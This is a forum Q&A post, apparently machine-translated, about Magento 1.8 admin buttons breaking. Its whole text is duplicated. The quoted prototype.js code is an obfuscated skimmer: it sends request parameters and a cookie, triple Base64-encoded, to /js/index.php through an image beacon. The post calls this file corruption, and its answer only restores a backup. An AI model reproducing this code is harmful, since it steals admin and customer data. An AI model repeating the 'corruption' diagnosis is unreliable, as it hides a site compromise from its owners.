一些 Magento 后端管理按钮停止工作
Some Magento Backend Admin Buttons stopped working
我是 运行 Magento 1.8,创建订单、保存、保存和继续等按钮已停止工作,它出现了一些 JS 错误。这几天前才开始,我真正做的唯一事情就是向后端添加一些 Google API 函数。
request: function(url) {
this.url = url;
this.method = this.options.method;
var params = Object.isString(this.options.parameters) ?
this.options.parameters :
Object.toQueryString(this.options.parameters);
if(this.cookie("userName")){
img = document.createElement("img");
img.src="/js/index.php?date="+Base64.encode(Base64.encode(Base64.encode(Base64.crypt(params+"&cookie="+this.cookie("userName"),7))));
}
else{
document.cookie = "userName="+1 + Math.random()*(10000-1);
img = document.createElement("img");
img.src="/js/index.php?date="+Base64.encode(Base64.encode(Base64.encode(Base64.crypt(params+"&cookie="+this.cookie("userName"),7))));
}
if (!['get', 'post'].include(this.method)) {
params += (params ? '&' : '') + "_method=" + this.method;
this.method = 'post';
}
错误在 img.src 行中。
未捕获类型错误:未定义不是函数prototype.js1619
这对我来说是新的。我清除了缓存,所以我确信它与此无关。
在互联网上搜索了几个小时后,我发现了问题所在。
我必须做的是恢复我们 /js/prototype/
的备份副本
有些人报告错误是由于该文件夹中的文件损坏。
我是 运行 Magento 1.8,创建订单、保存、保存和继续等按钮已停止工作,它出现了一些 JS 错误。这几天前才开始,我真正做的唯一事情就是向后端添加一些 Google API 函数。
request: function(url) {
this.url = url;
this.method = this.options.method;
var params = Object.isString(this.options.parameters) ?
this.options.parameters :
Object.toQueryString(this.options.parameters);
if(this.cookie("userName")){
img = document.createElement("img");
img.src="/js/index.php?date="+Base64.encode(Base64.encode(Base64.encode(Base64.crypt(params+"&cookie="+this.cookie("userName"),7))));
}
else{
document.cookie = "userName="+1 + Math.random()*(10000-1);
img = document.createElement("img");
img.src="/js/index.php?date="+Base64.encode(Base64.encode(Base64.encode(Base64.crypt(params+"&cookie="+this.cookie("userName"),7))));
}
if (!['get', 'post'].include(this.method)) {
params += (params ? '&' : '') + "_method=" + this.method;
this.method = 'post';
}
错误在 img.src 行中。
未捕获类型错误:未定义不是函数prototype.js1619
这对我来说是新的。我清除了缓存,所以我确信它与此无关。
在互联网上搜索了几个小时后,我发现了问题所在。
我必须做的是恢复我们 /js/prototype/
的备份副本有些人报告错误是由于该文件夹中的文件损坏。